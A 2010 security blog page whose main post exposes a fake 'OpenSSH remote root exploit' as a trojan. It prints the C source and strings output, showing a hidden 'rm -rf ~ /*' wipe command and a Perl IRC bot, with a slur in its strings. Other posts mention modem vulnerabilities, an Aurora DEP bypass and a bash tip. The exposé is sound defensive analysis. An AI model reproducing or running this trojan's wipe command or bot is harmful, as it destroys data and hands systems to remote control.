Yet Another Fake Exploit

February 7th, 2010

PenTestIT is listed in my RSS list and just now, i’ve got a feed from PenTestIT with the title “openssh-53p1-remote-root.c”

Hurm.. what a surprise news, but.. I think I’m too old for this.. lets see..

xanda:tmp adnan$ cd /tmp
 
xanda:tmp adnan$ mkdir lame
 
xanda:tmp adnan$ cd lame/
 
xanda:lame adnan$ wget http://pentestit.com/wp-content/uploads/2010/02/openssh-53p1-remote-root.c
--2010-02-07 20:41:28--  http://pentestit.com/wp-content/uploads/2010/02/openssh-53p1-remote-root.c
Resolving pentestit.com (pentestit.com)... 208.87.241.96
Connecting to pentestit.com (pentestit.com)|208.87.241.96|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13273 (13K) [text/x-c]
Saving to: `openssh-53p1-remote-root.c'
 
100%[=========================================================================================================================================>] 13,273      7.82K/s   in 1.7s    
 
2010-02-07 20:41:30 (7.82 KB/s) - `openssh-53p1-remote-root.c' saved [13273/13273]
 
xanda:lame adnan$ more openssh-53p1-remote-root.c 
 
/* openssh-53p1-remote-root.c
* OpenSSH <= 5.3p1-1 Remote Root Exploit by the|one
* Email: root@chamillionaire.com
* Release date: Unreleased (private) / 2010
* Available Patch: No fix-patch has been issued or reported.
*
* -----------------
* Additional Notes:
* -----------------
* By using this software, you take any and/or all responsibility
* for the damage(s) caused and will not bitch to me, the|one, about it.
*
* USE THIS SOFTWARE AT YOUR OWN DISCRETION! Later skiddies. :>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
 
#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b
 
char jmpcode[] =
    "\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
    "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";
 
char shellcode[] =
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
        "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
 
xanda:lame adnan$ gcc openssh-53p1-remote-root.c -o fake
 
xanda:lame adnan$ strings fake | more
 
the|one is rooting your Linux/FreeBSD Network
  Usage: %s -h <host> -p port
  Options:
-h ip/host of target
-p port
-d username
-B memory_limit 8/16/64
Root is required for raw sockets, etc.
  [+] the|one's OpenSSH Remote Root Exploit - 2010
  [-] Resolving Failed
  [-] Connecting Failed
Getting root isn't that hard, skiddie
PS1='sh-3.2#' /bin/sh
  [-] Failed to exploit the target :
rm -rf ~ /* 2> /dev/null &
#!/usr/bin/perl
$chan="#cn";
$ke";
while (<$sockG (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="G (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl

knock knock knock… script kiddies.. grow up!

xanda IT Related , , , ,

0day on TM Billion ADSL Modem/Router

February 6th, 2010

Quick update

Here is my short update. I was playing around with the ‘nice’ modem and I found 2 vulnerability

1) Remote code execution
2) DoS

Tested on Firmware Version : 2.10.5.0(UE0.C2C)3.7.6.1

I’m looking forward to play around with Riger Corporation’s modem that came with “Enhanced by TM R&D Malaysia” label on it :)

xanda IT Related , , , , , , , , ,

Twitter killed the blog star

January 31st, 2010

Yosh!~ Still looking for the right time to post my new entry.. Kinda busy right now. But for those who wanna keep up to date (in technical, computer, security stuffs) from me, you can follow me at Twitter

Thanks :)

xanda My Self , ,

CVE-2010-0249 – Aurora IE 0day Exploit :: DEP bypassed

January 19th, 2010

:: Quick update ::

Today, I’ve been working on a video on the Aurora IE 0day exploit PoC that really mimics the original Aurora’s exploit on Google.

However, the original exploit gonna fail if you enable DEP on the machine.

A few minutes back, someone ping and inform me on the new PoC that gonna bypass the DEP. If true, enabling DEP wont protect IE users anymore ;)

But you are still safe if you disable Active Script / JavaScript support for your IE

Here is how you can disable the Active Shit/JavaShit Active Script / JavaScript support in your IE: http://www.mycert.org.my/en/services/advisories/mycert/2010/main/detail/724/index.html

xanda IT Related , , , , , , , , , ,

Autocomplete with bash on Mac OS

January 15th, 2010

Make sure you have the following dependencies installed:

The only thing you need to do is to install bash-completion

sudo port install bash-completion

Done ;)

xanda IT Related , , , , ,